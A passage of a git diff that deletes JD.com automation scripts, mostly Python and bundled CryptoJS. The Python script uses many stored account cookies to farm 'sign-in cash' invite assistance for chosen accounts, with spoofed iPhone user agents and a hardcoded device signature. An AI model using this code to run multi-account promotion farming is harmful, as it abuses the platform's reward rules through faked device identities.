else: - return UserAgent - -def buildHeader(ck): - headers = { - 'Origin': 'https://h5.m.jd.com', - 'Cookie': ck, - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - 'Referer': f'https://h5.m.jd.com/babelDiy/Zeus/GzY6gTjVg1zqnQRnmWfMKC4PsT1/index.html?lng=&lat=&sid=&un_area=', - 'Host': 'api.m.jd.com', - 'User-Agent': userAgent(), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br' - } - return headers - -def getShareCode(header): - global aNum - try: - url = 'https://api.m.jd.com/client.action?functionId=cash_getJDMobShareInfo&body=%7B%22source%22%3A2%7D&appid=CashReward&client=m&clientVersion=9.2.8' - resp = requests.post(url=url, headers=header, verify=False, timeout=30).json() - if resp['data']['bizMsg'] == 'success' and resp['data']['success']: - inviteCode = resp['data']['result']['inviteCode'] - shareDate = resp['data']['result']['shareDate'] - aNum = 0 - return inviteCode, shareDate - else: - print("获取互助码失败!") - return 0, 0 - except Exception as e: - if aNum < 5: - aNum += 1 - return getShareCode(header) - else: - aNum = 0 - print("获取互助码失败!", e) - return 0, 0 - -def helpCode(header, inviteCode, shareDate, uNUm, user, name): - try: - url = f'https://api.m.jd.com/client.action?functionId=cash_mob_assist&body=%7B%22source%22%3A3%2C%22inviteCode%22%3A%22{inviteCode}%22%2C%22shareDate%22%3A%22{shareDate}%22%7D&appid=CashReward&client=m&clientVersion=9.2.8' - resp = requests.post(url=url, headers=header, verify=False, timeout=30).json() - if resp['data']['success']: - print(f'用户{uNUm}【{user}】助力【{name}】{resp["data"]["bizMsg"]} -> 您也获得{resp["data"]["result"]["cashStr"]}现金') - return False - else: - print(f'用户{uNUm}【{user}】助力【{name}】{resp["data"]["bizMsg"]}') - if '晚' in resp["data"]["bizMsg"]: - return True - else: - return False - - except Exception as e: - print("helpCode Error", e) - print(f'用户{uNUm}【{user}】助力【{name}】报错了!') - return False - -def cash_exchangePage(ck): - try: - iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - url = 'https://api.m.jd.com/client.action?functionId=cash_exchangePage' - header = { - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': ck, - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': '*/*', - 'Host': 'api.m.jd.com', - 'User-Agent': f'JD4iPhone/167724 (iPhone; iOS {iosVer}; Scale/3.00)', - 'Referer': '', - 'Accept-Language': 'zh-Hans-CN;q=1' - } - body = f'body=%7B%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone13%2C4&eid=&isBackground=N&joycious=82&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=809409cbd5bb8a0fa8fff41378c1afe91b8075ad&osVersion={iosVer}&partner=apple&rfs=0000&scope=10&screen=1125%2A2436&sign=5b8aa440653bb1fcbad0f0ff71671cae&st=1625368739358&sv=122&uemps=0-0&uts=&uuid=&wifiBssid=unknown' - response = requests.post(url=url, headers=header, data=body, verify=False, timeout=30).json() - return response['data']['result']['totalMoney'] - except Exception as e: - print("cash_exchangePage Error", e) - return 0 - -def start(): - scriptName = '### 签到领现金-助力 ###' - print(scriptName) - global cookiesList, userNameList, pinNameList, ckNum, cashCount, cashCountdict - cookiesList, userNameList, pinNameList = getCk.iscookie() - for ckname in cash_zlzh: - try: - ckNum = userNameList.index(ckname) - except Exception as e: - try: - ckNum = pinNameList.index(unquote(ckname)) - except: - print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") - continue - - print(f"### 开始助力账号【{userNameList[int(ckNum)]}】###") - inviteCode, shareDate = getShareCode(buildHeader(cookiesList[ckNum])) - if inviteCode == 0: - print(f"## {userNameList[int(ckNum)]} 获取互助码失败。请稍后再试!") - continue - u = 0 - for i in cookiesList: - if i == cookiesList[ckNum]: - u += 1 - continue - result = helpCode(buildHeader(i), inviteCode, shareDate, u+1, userNameList[u], userNameList[ckNum]) - if result: - break - time.sleep(sleepNum) - u += 1 - totalMoney = cash_exchangePage(cookiesList[ckNum]) - cashCount += totalMoney - cashCountdict[userNameList[ckNum]] = totalMoney - - print("\n-------------------------") - for i in cashCountdict.keys(): - msg(f"账号【{i}】当前现金: ¥{cashCountdict[i]}") - msg("## 总累计获得 ¥%.2f" % cashCount) - try: - send(scriptName, msg_info) - except: - pass - - -if __name__ == '__main__': - start() diff --git a/jd_ccSign.js b/backUp/jd_ccSign.js similarity index 100% rename from jd_ccSign.js rename to backUp/jd_ccSign.js diff --git a/backUp/jd_cfd.js b/backUp/jd_cfd.js deleted file mode 100644 index c9e844b..0000000 --- a/backUp/jd_cfd.js +++ /dev/null @@ -1,1907 +0,0 @@ -/* -京喜财富岛 -cron 1 * * * * jd_cfd.js -更新时间:2021-9-11 -活动入口:京喜APP-我的-京喜财富岛 - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛 -1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - -================Loon============== -[Script] -cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 - -===============Surge================= -京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js - -============小火箭========= -京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 